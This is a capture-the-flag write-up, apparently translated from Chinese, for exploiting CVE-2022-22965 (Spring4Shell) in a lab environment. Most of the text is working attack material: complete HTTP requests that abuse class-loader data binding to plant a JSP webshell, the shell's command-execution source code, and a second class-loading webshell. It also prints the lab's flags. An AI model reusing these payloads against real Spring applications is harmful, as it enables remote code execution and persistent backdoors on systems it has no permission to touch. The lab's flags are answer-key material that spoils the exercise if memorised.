Spring Cloud Mirror: CVE-2022-22965 (Spring Framework JDK >= 9 remote code execution vulnerability)

Table of Contents

1. Topic

2. Enter the topic


1. Title

Target Introduction:

The Spring framework is a basic open source framework in Spring, and its purpose is to simplify the development difficulty and development cycle of Java enterprise applications. On March 31, 2022, VMware Tanzu released a vulnerability report. The Spring Framework has a remote code execution vulnerability. Spring MVC or Spring WebFlux applications running on JDK 9+ may be vulnerable to Remote Code Execution (RCE) via data binding.

2. Enter topic

Ask for POC directly:

class.module.classLoader.resources.context.parent.pipeline.first.pattern=webshell
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp file type
class.module.classLoader.resources.context.parent.pipeline.first.directory=shell storage path (relative path, default is webapps/ROOT)
class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell file name
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=(file date format (actually constructed as a null value))

Burp captures packets:

Outsourcing:

Repackage:

GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{c2}i if("j".equals(request.getParameter("pwd"))){ java. io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while( (a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i &
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp &
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT &
class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell &
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1

suffix: %>//
c1: Runtime
c2: <%
DNT: 1


//Empty two lines, otherwise I can’t type in, I don’t know why

java code:

%{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter( "cmd")).getInputStream();
    int a = -1; byte[] b = new byte[2048];
    while((a=in.read(b))!=-1){
           out. println(new String(b));
    }
} %{suffix}i &
<% if("fuck".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream ();
int a = -1; byte[] b = new byte[2048];
        while((a=in.read(b))!=-1){
        out. println(new String(b));
}
}%>

Mainly add the data in the red box, and modify it by capturing packets (two blank lines).

Send and echo 200, which proves success:

access:

http://xxx.ichunqiu.com:8080/shell.jsp?pwd=j &cmd=cat /flag

flag{07f20187-73fc-46ae-a01f-671e30e01b6f}

Ant sword method:

Big Brother’s POC:

GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=
%{c2}i if("fuck".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd" )).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b )); } } %{suffix}i &
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp &
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT &
class.module.classLoader.resources.context.parent.pipeline.first.prefix=fuck &
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1
 
suffix: %>//
c1: Runtime
c2: <%

Big guy’s explanation:

First replace the suffix (suffix name), c1 (path), c2 (file name) parameters.
After processing, some java-based people have seen that this is a grammar written into webshell
First judge whether pwd is fuck, if it passes, execute the cmd command
 
Write a sentence Trojan horse, we can connect through China Ant, the password is the parameter name pwd
GET
/?class.module.classLoader.resources.context.parent.pipeline.first.pattern=
<% if("fuck".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1; byte[] b = new byte[2048];
        while((a=in.read(b))!=-1){
        out. println(new String(b));
}
}%>//
 & amp;class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp //The suffix name is jsp
 &class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT //The path is webapps/ROOT
 & amp;class.module.classLoader.resources.context.parent.pipeline.first.prefix=fuck //The file name is fuck
 &class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1

flag{2efdde96-1c20-4672-8a23-05855d7b7654}

password is passwd

<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }
        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }
 
    public byte[] base64Decode(String str) throws Exception {
        try {
            Class clazz = Class. forName("sun. misc. BASE64Decoder");
            return (byte[]) clazz. getMethod("decodeBuffer", String. class). invoke(clazz. newInstance(), str);
        } catch (Exception e) {
            Class clazz = Class. forName("java. util. Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke(null);
            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
        }
    }
%>
<%
    String cls = request. getParameter("passwd");
    if (cls != null) {
        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
    }
%>

If you want to reproduce the success here, you must either set up an environmental shooting range or have your own public network ip server (because ichunqiu is deployed on the public network)

The steps are probably this, but there is no public network ip and no environment to set up by yourself. . .

Reference article:

Recurrence Analysis of Spring RCE Vulnerability CVE-2022-22965_@Camelus’ Blog – CSDN Blog

Vluhub vulnerability reproduction notes: CVE-2022-22965: Spring Framework_L_ergo’s blog – CSDN blog